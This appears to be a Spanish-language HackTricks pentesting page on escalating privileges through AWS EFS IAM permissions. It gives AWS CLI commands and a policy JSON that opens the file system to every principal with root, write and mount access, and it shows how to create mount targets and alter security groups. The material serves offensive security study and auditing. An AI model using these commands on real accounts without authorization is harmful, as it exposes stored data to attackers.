# AWS - EFS Privesc {{#include ../../../banners/hacktricks-training.md}} ## EFS Más **info sobre EFS** en: {{#ref}} ../aws-services/aws-efs-enum.md {{#endref}} Recuerda que para montar un EFS necesitas estar en una subred donde el EFS esté expuesto y tener acceso a él (grupos de seguridad). Si esto está sucediendo, por defecto, siempre podrás montarlo, sin embargo, si está protegido por políticas de IAM, necesitas tener los permisos adicionales mencionados aquí para acceder a él. ### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy` Con cualquiera de esos permisos, un atacante puede **cambiar la política del sistema de archivos** para **darte acceso** a él, o simplemente **eliminarlo** para que se otorgue el **acceso por defecto**. Para eliminar la política: ```bash aws efs delete-file-system-policy \ --file-system-id ``` Para cambiarlo: ```json aws efs put-file-system-policy --file-system-id --policy file:///tmp/policy.json // Give everyone trying to mount it read, write and root access // policy.json: { "Version": "2012-10-17", "Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763", "Statement": [ { "Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603", "Effect": "Allow", "Principal": { "AWS": "*" }, "Action": [ "elasticfilesystem:ClientRootAccess", "elasticfilesystem:ClientWrite", "elasticfilesystem:ClientMount" ], "Condition": { "Bool": { "elasticfilesystem:AccessedViaMountTarget": "true" } } } ] } ``` ### `elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)` Con este permiso, un atacante podrá **montar el EFS**. Si el permiso de escritura no se otorga por defecto a todos los que pueden montar el EFS, solo tendrá **acceso de lectura**. ```bash sudo mkdir /efs sudo mount -t efs -o tls,iam :/ /efs/ ``` Los permisos adicionales `elasticfilesystem:ClientRootAccess` y `elasticfilesystem:ClientWrite` se pueden usar para **escribir** dentro del sistema de archivos después de que esté montado y para **acceder** a ese sistema de archivos **como root**. **Impacto Potencial:** Privesc indirecto al localizar información sensible en el sistema de archivos. ### `elasticfilesystem:CreateMountTarget` Si un atacante está dentro de una **subred** donde **no existe un objetivo de montaje** del EFS. Podría simplemente **crear uno en su subred** con este privilegio: ```bash # You need to indicate security groups that will grant the user access to port 2049 aws efs create-mount-target --file-system-id \ --subnet-id \ --security-groups ``` **Impacto Potencial:** Privesc indirecto al localizar información sensible en el sistema de archivos. ### `elasticfilesystem:ModifyMountTargetSecurityGroups` En un escenario donde un atacante descubre que el EFS tiene un objetivo de montaje en su subred pero **ningún grupo de seguridad está permitiendo el tráfico**, podría simplemente **cambiar eso modificando los grupos de seguridad seleccionados**: ```bash aws efs modify-mount-target-security-groups \ --mount-target-id \ --security-groups ``` **Impacto Potencial:** Privesc indirecto al localizar información sensible en el sistema de archivos. {{#include ../../../banners/hacktricks-training.md}}